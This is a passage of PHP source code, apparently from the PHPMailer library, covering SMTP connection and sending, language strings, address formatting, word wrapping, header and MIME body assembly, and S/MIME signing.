1802 * @uses SMTP
1803 * @access protected
1804 * @return boolean
1805 */
1806 protected function smtpSend($header, $body)
1807 {
1808 $bad_rcpt = array();
1809 if (!$this->smtpConnect($this->SMTPOptions)) {
1810 throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
1811 }
1812 if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
1813 $smtp_from = $this->Sender;
1814 } else {
1815 $smtp_from = $this->From;
1816 }
1817 if (!$this->smtp->mail($smtp_from)) {
1818 $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
1819 throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
1820 }
1821 // Attempt to send to all recipients
1822 foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
1823 foreach ($togroup as $to) {
1824 if (!$this->smtp->recipient($to[0])) {
1825 $error = $this->smtp->getError();
1826 $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
1827 $isSent = false;
1828 } else {
1829 $isSent = true;
1830 }
1831 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
1832 }
1833 }
1834 // Only send the DATA command if we have viable recipients
1835 if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
1836 throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
1837 }
1838 if ($this->SMTPKeepAlive) {
1839 $this->smtp->reset();
1840 } else {
1841 $this->smtp->quit();
1842 $this->smtp->close();
1843 }
1844 //Create error message for any bad addresses
1845 if (count($bad_rcpt) > 0) {
1846 $errstr = '';
1847 foreach ($bad_rcpt as $bad) {
1848 $errstr .= $bad['to'] . ': ' . $bad['error'];
1849 }
1850 throw new phpmailerException(
1851 $this->lang('recipients_failed') . $errstr,
1852 self::STOP_CONTINUE
1853 );
1854 }
1855 return true;
1856 }
1857 /**
1858 * Initiate a connection to an SMTP server.
1859 * Returns false if the operation failed.
1860 * @param array $options An array of options compatible with stream_context_create()
1861 * @uses SMTP
1862 * @access public
1863 * @throws phpmailerException
1864 * @return boolean
1865 */
1866 public function smtpConnect($options = null)
1867 {
1868 if (is_null($this->smtp)) {
1869 $this->smtp = $this->getSMTPInstance();
1870 }
1871 //If no options are provided, use whatever is set in the instance
1872 if (is_null($options)) {
1873 $options = $this->SMTPOptions;
1874 }
1875 // Already connected?
1876 if ($this->smtp->connected()) {
1877 return true;
1878 }
1879 $this->smtp->setTimeout($this->Timeout);
1880 $this->smtp->setDebugLevel($this->SMTPDebug);
1881 $this->smtp->setDebugOutput($this->Debugoutput);
1882 $this->smtp->setVerp($this->do_verp);
1883 $hosts = explode(';', $this->Host);
1884 $lastexception = null;
1885 foreach ($hosts as $hostentry) {
1886 $hostinfo = array();
1887 if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
1888 // Not a valid host entry
1889 continue;
1890 }
1891 // $hostinfo[2]: optional ssl or tls prefix
1892 // $hostinfo[3]: the hostname
1893 // $hostinfo[4]: optional port number
1894 // The host string prefix can temporarily override the current setting for SMTPSecure
1895 // If it's not specified, the default value is used
1896 $prefix = '';
1897 $secure = $this->SMTPSecure;
1898 $tls = ($this->SMTPSecure == 'tls');
1899 if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
1900 $prefix = 'ssl://';
1901 $tls = false; // Can't have SSL and TLS at the same time
1902 $secure = 'ssl';
1903 } elseif ($hostinfo[2] == 'tls') {
1904 $tls = true;
1905 // tls doesn't use a prefix
1906 $secure = 'tls';
1907 }
1908 //Do we need the OpenSSL extension?
1909 $sslext = defined('OPENSSL_ALGO_SHA1');
1910 if ('tls' === $secure or 'ssl' === $secure) {
1911 //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
1912 if (!$sslext) {
1913 throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
1914 }
1915 }
1916 $host = $hostinfo[3];
1917 $port = $this->Port;
1918 $tport = (integer)$hostinfo[4];
1919 if ($tport > 0 and $tport < 65536) {
1920 $port = $tport;
1921 }
1922 if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
1923 try {
1924 if ($this->Helo) {
1925 $hello = $this->Helo;
1926 } else {
1927 $hello = $this->serverHostname();
1928 }
1929 $this->smtp->hello($hello);
1930 //Automatically enable TLS encryption if:
1931 // * it's not disabled
1932 // * we have openssl extension
1933 // * we are not already using SSL
1934 // * the server offers STARTTLS
1935 if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
1936 $tls = true;
1937 }
1938 if ($tls) {
1939 if (!$this->smtp->startTLS()) {
1940 throw new phpmailerException($this->lang('connect_host'));
1941 }
1942 // We must resend EHLO after TLS negotiation
1943 $this->smtp->hello($hello);
1944 }
1945 if ($this->SMTPAuth) {
1946 if (!$this->smtp->authenticate(
1947 $this->Username,
1948 $this->Password,
1949 $this->AuthType,
1950 $this->Realm,
1951 $this->Workstation
1952 )
1953 ) {
1954 throw new phpmailerException($this->lang('authenticate'));
1955 }
1956 }
1957 return true;
1958 } catch (phpmailerException $exc) {
1959 $lastexception = $exc;
1960 $this->edebug($exc->getMessage());
1961 // We must have connected, but then failed TLS or Auth, so close connection nicely
1962 $this->smtp->quit();
1963 }
1964 }
1965 }
1966 // If we get here, all connection attempts have failed, so close connection hard
1967 $this->smtp->close();
1968 // As we've caught all exceptions, just report whatever the last one was
1969 if ($this->exceptions and !is_null($lastexception)) {
1970 throw $lastexception;
1971 }
1972 return false;
1973 }
1974 /**
1975 * Close the active SMTP session if one exists.
1976 * @return void
1977 */
1978 public function smtpClose()
1979 {
1980 if (is_a($this->smtp, 'SMTP')) {
1981 if ($this->smtp->connected()) {
1982 $this->smtp->quit();
1983 $this->smtp->close();
1984 }
1985 }
1986 }
1987 /**
1988 * Set the language for error messages.
1989 * Returns false if it cannot load the language file.
1990 * The default language is English.
1991 * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
1992 * @param string $lang_path Path to the language file directory, with trailing separator (slash)
1993 * @return boolean
1994 * @access public
1995 */
1996 public function setLanguage($langcode = 'en', $lang_path = '')
1997 {
1998 // Backwards compatibility for renamed language codes
1999 $renamed_langcodes = array(
2000 'br' => 'pt_br',
2001 'cz' => 'cs',
2002 'dk' => 'da',
2003 'no' => 'nb',
2004 'se' => 'sv',
2005 );
2006 if (isset($renamed_langcodes[$langcode])) {
2007 $langcode = $renamed_langcodes[$langcode];
2008 }
2009 // Define full set of translatable strings in English
2010 $PHPMAILER_LANG = array(
2011 'authenticate' => 'SMTP Error: Could not authenticate.',
2012 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
2013 'data_not_accepted' => 'SMTP Error: data not accepted.',
2014 'empty_message' => 'Message body empty',
2015 'encoding' => 'Unknown encoding: ',
2016 'execute' => 'Could not execute: ',
2017 'file_access' => 'Could not access file: ',
2018 'file_open' => 'File Error: Could not open file: ',
2019 'from_failed' => 'The following From address failed: ',
2020 'instantiate' => 'Could not instantiate mail function.',
2021 'invalid_address' => 'Invalid address: ',
2022 'mailer_not_supported' => ' mailer is not supported.',
2023 'provide_address' => 'You must provide at least one recipient email address.',
2024 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
2025 'signing' => 'Signing Error: ',
2026 'smtp_connect_failed' => 'SMTP connect() failed.',
2027 'smtp_error' => 'SMTP server error: ',
2028 'variable_set' => 'Cannot set or reset variable: ',
2029 'extension_missing' => 'Extension missing: '
2030 );
2031 if (empty($lang_path)) {
2032 // Calculate an absolute path so it can work if CWD is not here
2033 $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
2034 }
2035 //Validate $langcode
2036 if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
2037 $langcode = 'en';
2038 }
2039 $foundlang = true;
2040 $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
2041 // There is no English translation file
2042 if ($langcode != 'en') {
2043 // Make sure language file path is readable
2044 if (!is_readable($lang_file)) {
2045 $foundlang = false;
2046 } else {
2047 // Overwrite language-specific strings.
2048 // This way we'll never have missing translation keys.
2049 $foundlang = include $lang_file;
2050 }
2051 }
2052 $this->language = $PHPMAILER_LANG;
2053 return (boolean)$foundlang; // Returns false if language not found
2054 }
2055 /**
2056 * Get the array of strings for the current language.
2057 * @return array
2058 */
2059 public function getTranslations()
2060 {
2061 return $this->language;
2062 }
2063 /**
2064 * Create recipient headers.
2065 * @access public
2066 * @param string $type
2067 * @param array $addr An array of recipient,
2068 * where each recipient is a 2-element indexed array with element 0 containing an address
2069 * and element 1 containing a name, like:
2070 * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
2071 * @return string
2072 */
2073 public function addrAppend($type, $addr)
2074 {
2075 $addresses = array();
2076 foreach ($addr as $address) {
2077 $addresses[] = $this->addrFormat($address);
2078 }
2079 return $type . ': ' . implode(', ', $addresses) . $this->LE;
2080 }
2081 /**
2082 * Format an address for use in a message header.
2083 * @access public
2084 * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
2085 * like array('joe@example.com', 'Joe User')
2086 * @return string
2087 */
2088 public function addrFormat($addr)
2089 {
2090 if (empty($addr[1])) { // No name provided
2091 return $this->secureHeader($addr[0]);
2092 } else {
2093 return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
2094 $addr[0]
2095 ) . '>';
2096 }
2097 }
2098 /**
2099 * Word-wrap message.
2100 * For use with mailers that do not automatically perform wrapping
2101 * and for quoted-printable encoded messages.
2102 * Original written by philippe.
2103 * @param string $message The message to wrap
2104 * @param integer $length The line length to wrap to
2105 * @param boolean $qp_mode Whether to run in Quoted-Printable mode
2106 * @access public
2107 * @return string
2108 */
2109 public function wrapText($message, $length, $qp_mode = false)
2110 {
2111 if ($qp_mode) {
2112 $soft_break = sprintf(' =%s', $this->LE);
2113 } else {
2114 $soft_break = $this->LE;
2115 }
2116 // If utf-8 encoding is used, we will need to make sure we don't
2117 // split multibyte characters when we wrap
2118 $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
2119 $lelen = strlen($this->LE);
2120 $crlflen = strlen(self::CRLF);
2121 $message = $this->fixEOL($message);
2122 //Remove a trailing line break
2123 if (substr($message, -$lelen) == $this->LE) {
2124 $message = substr($message, 0, -$lelen);
2125 }
2126 //Split message into lines
2127 $lines = explode($this->LE, $message);
2128 //Message will be rebuilt in here
2129 $message = '';
2130 foreach ($lines as $line) {
2131 $words = explode(' ', $line);
2132 $buf = '';
2133 $firstword = true;
2134 foreach ($words as $word) {
2135 if ($qp_mode and (strlen($word) > $length)) {
2136 $space_left = $length - strlen($buf) - $crlflen;
2137 if (!$firstword) {
2138 if ($space_left > 20) {
2139 $len = $space_left;
2140 if ($is_utf8) {
2141 $len = $this->utf8CharBoundary($word, $len);
2142 } elseif (substr($word, $len - 1, 1) == '=') {
2143 $len--;
2144 } elseif (substr($word, $len - 2, 1) == '=') {
2145 $len -= 2;
2146 }
2147 $part = substr($word, 0, $len);
2148 $word = substr($word, $len);
2149 $buf .= ' ' . $part;
2150 $message .= $buf . sprintf('=%s', self::CRLF);
2151 } else {
2152 $message .= $buf . $soft_break;
2153 }
2154 $buf = '';
2155 }
2156 while (strlen($word) > 0) {
2157 if ($length <= 0) {
2158 break;
2159 }
2160 $len = $length;
2161 if ($is_utf8) {
2162 $len = $this->utf8CharBoundary($word, $len);
2163 } elseif (substr($word, $len - 1, 1) == '=') {
2164 $len--;
2165 } elseif (substr($word, $len - 2, 1) == '=') {
2166 $len -= 2;
2167 }
2168 $part = substr($word, 0, $len);
2169 $word = substr($word, $len);
2170 if (strlen($word) > 0) {
2171 $message .= $part . sprintf('=%s', self::CRLF);
2172 } else {
2173 $buf = $part;
2174 }
2175 }
2176 } else {
2177 $buf_o = $buf;
2178 if (!$firstword) {
2179 $buf .= ' ';
2180 }
2181 $buf .= $word;
2182 if (strlen($buf) > $length and $buf_o != '') {
2183 $message .= $buf_o . $soft_break;
2184 $buf = $word;
2185 }
2186 }
2187 $firstword = false;
2188 }
2189 $message .= $buf . self::CRLF;
2190 }
2191 return $message;
2192 }
2193 /**
2194 * Find the last character boundary prior to $maxLength in a utf-8
2195 * quoted-printable encoded string.
2196 * Original written by Colin Brown.
2197 * @access public
2198 * @param string $encodedText utf-8 QP text
2199 * @param integer $maxLength Find the last character boundary prior to this length
2200 * @return integer
2201 */
2202 public function utf8CharBoundary($encodedText, $maxLength)
2203 {
2204 $foundSplitPos = false;
2205 $lookBack = 3;
2206 while (!$foundSplitPos) {
2207 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2208 $encodedCharPos = strpos($lastChunk, '=');
2209 if (false !== $encodedCharPos) {
2210 // Found start of encoded character byte within $lookBack block.
2211 // Check the encoded byte value (the 2 chars after the '=')
2212 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2213 $dec = hexdec($hex);
2214 if ($dec < 128) {
2215 // Single byte character.
2216 // If the encoded char was found at pos 0, it will fit
2217 // otherwise reduce maxLength to start of the encoded char
2218 if ($encodedCharPos > 0) {
2219 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2220 }
2221 $foundSplitPos = true;
2222 } elseif ($dec >= 192) {
2223 // First byte of a multi byte character
2224 // Reduce maxLength to split at start of character
2225 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2226 $foundSplitPos = true;
2227 } elseif ($dec < 192) {
2228 // Middle byte of a multi byte character, look further back
2229 $lookBack += 3;
2230 }
2231 } else {
2232 // No encoded character found
2233 $foundSplitPos = true;
2234 }
2235 }
2236 return $maxLength;
2237 }
2238 /**
2239 * Apply word wrapping to the message body.
2240 * Wraps the message body to the number of chars set in the WordWrap property.
2241 * You should only do this to plain-text bodies as wrapping HTML tags may break them.
2242 * This is called automatically by createBody(), so you don't need to call it yourself.
2243 * @access public
2244 * @return void
2245 */
2246 public function setWordWrap()
2247 {
2248 if ($this->WordWrap < 1) {
2249 return;
2250 }
2251 switch ($this->message_type) {
2252 case 'alt':
2253 case 'alt_inline':
2254 case 'alt_attach':
2255 case 'alt_inline_attach':
2256 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
2257 break;
2258 default:
2259 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
2260 break;
2261 }
2262 }
2263 /**
2264 * Assemble message headers.
2265 * @access public
2266 * @return string The assembled headers
2267 */
2268 public function createHeader()
2269 {
2270 $result = '';
2271 if ($this->MessageDate == '') {
2272 $this->MessageDate = self::rfcDate();
2273 }
2274 $result .= $this->headerLine('Date', $this->MessageDate);
2275 // To be created automatically by mail()
2276 if ($this->SingleTo) {
2277 if ($this->Mailer != 'mail') {
2278 foreach ($this->to as $toaddr) {
2279 $this->SingleToArray[] = $this->addrFormat($toaddr);
2280 }
2281 }
2282 } else {
2283 if (count($this->to) > 0) {
2284 if ($this->Mailer != 'mail') {
2285 $result .= $this->addrAppend('To', $this->to);
2286 }
2287 } elseif (count($this->cc) == 0) {
2288 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
2289 }
2290 }
2291 $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
2292 // sendmail and mail() extract Cc from the header before sending
2293 if (count($this->cc) > 0) {
2294 $result .= $this->addrAppend('Cc', $this->cc);
2295 }
2296 // sendmail and mail() extract Bcc from the header before sending
2297 if ((
2298 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
2299 )
2300 and count($this->bcc) > 0
2301 ) {
2302 $result .= $this->addrAppend('Bcc', $this->bcc);
2303 }
2304 if (count($this->ReplyTo) > 0) {
2305 $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
2306 }
2307 // mail() sets the subject itself
2308 if ($this->Mailer != 'mail') {
2309 $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
2310 }
2311 // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
2312 // https://tools.ietf.org/html/rfc5322#section-3.6.4
2313 if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
2314 $this->lastMessageID = $this->MessageID;
2315 } else {
2316 $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
2317 }
2318 $result .= $this->headerLine('Message-ID', $this->lastMessageID);
2319 if (!is_null($this->Priority)) {
2320 $result .= $this->headerLine('X-Priority', $this->Priority);
2321 }
2322 if ($this->XMailer == '') {
2323 $result .= $this->headerLine(
2324 'X-Mailer',
2325 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
2326 );
2327 } else {
2328 $myXmailer = trim($this->XMailer);
2329 if ($myXmailer) {
2330 $result .= $this->headerLine('X-Mailer', $myXmailer);
2331 }
2332 }
2333 if ($this->ConfirmReadingTo != '') {
2334 $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
2335 }
2336 // Add custom headers
2337 foreach ($this->CustomHeader as $header) {
2338 $result .= $this->headerLine(
2339 trim($header[0]),
2340 $this->encodeHeader(trim($header[1]))
2341 );
2342 }
2343 if (!$this->sign_key_file) {
2344 $result .= $this->headerLine('MIME-Version', '1.0');
2345 $result .= $this->getMailMIME();
2346 }
2347 return $result;
2348 }
2349 /**
2350 * Get the message MIME type headers.
2351 * @access public
2352 * @return string
2353 */
2354 public function getMailMIME()
2355 {
2356 $result = '';
2357 $ismultipart = true;
2358 switch ($this->message_type) {
2359 case 'inline':
2360 $result .= $this->headerLine('Content-Type', 'multipart/related;');
2361 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
2362 break;
2363 case 'attach':
2364 case 'inline_attach':
2365 case 'alt_attach':
2366 case 'alt_inline_attach':
2367 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
2368 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
2369 break;
2370 case 'alt':
2371 case 'alt_inline':
2372 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
2373 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
2374 break;
2375 default:
2376 // Catches case 'plain': and case '':
2377 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
2378 $ismultipart = false;
2379 break;
2380 }
2381 // RFC1341 part 5 says 7bit is assumed if not specified
2382 if ($this->Encoding != '7bit') {
2383 // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
2384 if ($ismultipart) {
2385 if ($this->Encoding == '8bit') {
2386 $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
2387 }
2388 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
2389 } else {
2390 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
2391 }
2392 }
2393 if ($this->Mailer != 'mail') {
2394 $result .= $this->LE;
2395 }
2396 return $result;
2397 }
2398 /**
2399 * Returns the whole MIME message.
2400 * Includes complete headers and body.
2401 * Only valid post preSend().
2402 * @see PHPMailer::preSend()
2403 * @access public
2404 * @return string
2405 */
2406 public function getSentMIMEMessage()
2407 {
2408 return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
2409 }
2410 /**
2411 * Create unique ID
2412 * @return string
2413 */
2414 protected function generateId() {
2415 return md5(uniqid(time()));
2416 }
2417 /**
2418 * Assemble the message body.
2419 * Returns an empty string on failure.
2420 * @access public
2421 * @throws phpmailerException
2422 * @return string The assembled message body
2423 */
2424 public function createBody()
2425 {
2426 $body = '';
2427 //Create unique IDs and preset boundaries
2428 $this->uniqueid = $this->generateId();
2429 $this->boundary[1] = 'b1_' . $this->uniqueid;
2430 $this->boundary[2] = 'b2_' . $this->uniqueid;
2431 $this->boundary[3] = 'b3_' . $this->uniqueid;
2432 if ($this->sign_key_file) {
2433 $body .= $this->getMailMIME() . $this->LE;
2434 }
2435 $this->setWordWrap();
2436 $bodyEncoding = $this->Encoding;
2437 $bodyCharSet = $this->CharSet;
2438 //Can we do a 7-bit downgrade?
2439 if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
2440 $bodyEncoding = '7bit';
2441 //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
2442 $bodyCharSet = 'us-ascii';
2443 }
2444 //If lines are too long, and we're not already using an encoding that will shorten them,
2445 //change to quoted-printable transfer encoding for the body part only
2446 if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
2447 $bodyEncoding = 'quoted-printable';
2448 }
2449 $altBodyEncoding = $this->Encoding;
2450 $altBodyCharSet = $this->CharSet;
2451 //Can we do a 7-bit downgrade?
2452 if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
2453 $altBodyEncoding = '7bit';
2454 //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
2455 $altBodyCharSet = 'us-ascii';
2456 }
2457 //If lines are too long, and we're not already using an encoding that will shorten them,
2458 //change to quoted-printable transfer encoding for the alt body part only
2459 if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
2460 $altBodyEncoding = 'quoted-printable';
2461 }
2462 //Use this as a preamble in all multipart message types
2463 $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
2464 switch ($this->message_type) {
2465 case 'inline':
2466 $body .= $mimepre;
2467 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
2468 $body .= $this->encodeString($this->Body, $bodyEncoding);
2469 $body .= $this->LE . $this->LE;
2470 $body .= $this->attachAll('inline', $this->boundary[1]);
2471 break;
2472 case 'attach':
2473 $body .= $mimepre;
2474 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
2475 $body .= $this->encodeString($this->Body, $bodyEncoding);
2476 $body .= $this->LE . $this->LE;
2477 $body .= $this->attachAll('attachment', $this->boundary[1]);
2478 break;
2479 case 'inline_attach':
2480 $body .= $mimepre;
2481 $body .= $this->textLine('--' . $this->boundary[1]);
2482 $body .= $this->headerLine('Content-Type', 'multipart/related;');
2483 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2484 $body .= $this->LE;
2485 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
2486 $body .= $this->encodeString($this->Body, $bodyEncoding);
2487 $body .= $this->LE . $this->LE;
2488 $body .= $this->attachAll('inline', $this->boundary[2]);
2489 $body .= $this->LE;
2490 $body .= $this->attachAll('attachment', $this->boundary[1]);
2491 break;
2492 case 'alt':
2493 $body .= $mimepre;
2494 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2495 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2496 $body .= $this->LE . $this->LE;
2497 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
2498 $body .= $this->encodeString($this->Body, $bodyEncoding);
2499 $body .= $this->LE . $this->LE;
2500 if (!empty($this->Ical)) {
2501 $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
2502 $body .= $this->encodeString($this->Ical, $this->Encoding);
2503 $body .= $this->LE . $this->LE;
2504 }
2505 $body .= $this->endBoundary($this->boundary[1]);
2506 break;
2507 case 'alt_inline':
2508 $body .= $mimepre;
2509 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2510 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2511 $body .= $this->LE . $this->LE;
2512 $body .= $this->textLine('--' . $this->boundary[1]);
2513 $body .= $this->headerLine('Content-Type', 'multipart/related;');
2514 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2515 $body .= $this->LE;
2516 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
2517 $body .= $this->encodeString($this->Body, $bodyEncoding);
2518 $body .= $this->LE . $this->LE;
2519 $body .= $this->attachAll('inline', $this->boundary[2]);
2520 $body .= $this->LE;
2521 $body .= $this->endBoundary($this->boundary[1]);
2522 break;
2523 case 'alt_attach':
2524 $body .= $mimepre;
2525 $body .= $this->textLine('--' . $this->boundary[1]);
2526 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
2527 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2528 $body .= $this->LE;
2529 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2530 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2531 $body .= $this->LE . $this->LE;
2532 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
2533 $body .= $this->encodeString($this->Body, $bodyEncoding);
2534 $body .= $this->LE . $this->LE;
2535 $body .= $this->endBoundary($this->boundary[2]);
2536 $body .= $this->LE;
2537 $body .= $this->attachAll('attachment', $this->boundary[1]);
2538 break;
2539 case 'alt_inline_attach':
2540 $body .= $mimepre;
2541 $body .= $this->textLine('--' . $this->boundary[1]);
2542 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
2543 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2544 $body .= $this->LE;
2545 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2546 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2547 $body .= $this->LE . $this->LE;
2548 $body .= $this->textLine('--' . $this->boundary[2]);
2549 $body .= $this->headerLine('Content-Type', 'multipart/related;');
2550 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
2551 $body .= $this->LE;
2552 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
2553 $body .= $this->encodeString($this->Body, $bodyEncoding);
2554 $body .= $this->LE . $this->LE;
2555 $body .= $this->attachAll('inline', $this->boundary[3]);
2556 $body .= $this->LE;
2557 $body .= $this->endBoundary($this->boundary[2]);
2558 $body .= $this->LE;
2559 $body .= $this->attachAll('attachment', $this->boundary[1]);
2560 break;
2561 default:
2562 // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
2563 //Reset the `Encoding` property in case we changed it for line length reasons
2564 $this->Encoding = $bodyEncoding;
2565 $body .= $this->encodeString($this->Body, $this->Encoding);
2566 break;
2567 }
2568 if ($this->isError()) {
2569 $body = '';
2570 } elseif ($this->sign_key_file) {
2571 try {
2572 if (!defined('PKCS7_TEXT')) {
2573 throw new phpmailerException($this->lang('extension_missing') . 'openssl');
2574 }
2575 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
2576 $file = tempnam(sys_get_temp_dir(), 'mail');
2577 if (false === file_put_contents($file, $body)) {
2578 throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
2579 }
2580 $signed = tempnam(sys_get_temp_dir(), 'signed');
2581 //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
2582 if (empty($this->sign_extracerts_file)) {
2583 $sign = @openssl_pkcs7_sign(
2584 $file,
2585 $signed,
2586 'file://' . realpath($this->sign_cert_file),
2587 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
2588 null
2589 );
2590 } else {
2591 $sign = @openssl_pkcs7_sign(
2592 $file,
2593 $signed,
2594 'file://' . realpath($this->sign_cert_file),
2595 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
2596 null,
2597 PKCS7_DETACHED,
2598 $this->sign_extracerts_file
2599 );
2600 }
2601 if ($sign) {
2602 @unlink($file);
2603 $body = file_get_contents($signed);
2604 @unlink($signed);
2605 //The message returned by openssl contains both headers and body, so need to split them up
2606 $parts = explode("\n\n", $body, 2);
2607 $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
2608 $body = $parts[1];
2609 } else {
2610 @unlink($file);
2611 @unlink($signed);
2612 throw new phpmailerException($this->lang('signing') . openssl_error_string());
2613 }
2614 } catch (phpmailerException $exc) {
2615 $body = '';
2616 if ($this->exceptions) {
2617 throw $exc;
2618 }
2619 }
2620 }
2621 return $body;
2622 }
2623 /**
2624 * Return the start of a message boundary.
2625 * @access protected
2626 * @param string $boundary
2627 * @param string $charSet
2628 * @param string $contentType
2629 * @param string $encoding
2630 * @return string
2631 */
2632 protected function getBoundary($boundary, $charSet, $contentType, $encoding)
2633 {
2634 $result = '';
2635 if ($charSet == '') {
2636 $charSet = $this->CharSet;
2637 }
2638 if ($contentType == '') {
2639 $contentType = $this->ContentType;
2640 }
2641 if ($encoding == '') {
2642 $encoding = $this->Encoding;
2643 }
2644 $result .= $this->textLine('--' . $boundary);
2645 $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
2646 $result .= $this->LE;
2647 // RFC1341 part 5 says 7bit is assumed if not specified
2648 if ($encoding != '7bit') {
2649 $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
2650 }
2651 $result .= $this->LE;
2652 return $result;
2653 }
2654 /**
2655 * Return the end of a message boundary.
2656 * @access protected
2657 * @param string $boundary
2658 * @return string
2659 */
2660 protected function endBoundary($boundary)
2661 {
2662 return $this->LE . '--' . $boundary . '--' . $this->LE;
2663 }
2664 /**
2665 * Set the message type.
2666 * PHPMailer only supports some preset message types, not arbitrary MIME structures.
2667 * @access protected
2668 * @return void
2669 */
2670 protected function setMessageType()
2671 {
2672 $type = array();
2673 if ($this->alternativeExists()) {
2674 $type[] = 'alt';
2675 }
2676 if ($this->inlineImageExists()) {
